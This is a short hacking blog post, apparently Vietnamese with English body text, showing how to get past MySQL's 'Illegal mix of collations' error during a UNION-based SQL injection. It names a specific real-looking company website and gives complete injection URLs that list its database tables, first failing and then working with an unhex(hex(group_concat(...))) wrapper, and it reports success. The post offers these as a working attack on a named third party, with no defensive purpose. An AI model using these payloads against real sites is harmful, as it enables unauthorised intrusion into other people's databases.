Top Ad unit 728 × 90

Bài viết mới

recent
SQLi

By Passing Illegal mix of collations for operation 'UNION' !

Tiếng anh nên anh em chịu khó đọc tí :3
By Passing Illegal mix of collations for operation 'UNION'


That error cames up,when the char is not set as default.

As example i'll use this site :
http://www.elansystems.co.za/product-item.php?product_items_id=13
Example :
 http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()--
We can bypass it with this syntax :
unhex(hex(group_concat(table_name)))
So our syntax will be look like this : 
www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,unhex(hex(group_concat(table_name))),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()--
 It works. Tables cames up.
By Passing Illegal mix of collations for operation 'UNION' ! Xem xét lại bởi Unknown tại 17:03 Đánh giá: 5

Không có nhận xét nào:

Copyright © 2015,Blog Joker-THT

Liên hệ

Tên

Email *

Thông báo *

Được tạo bởi Blogger.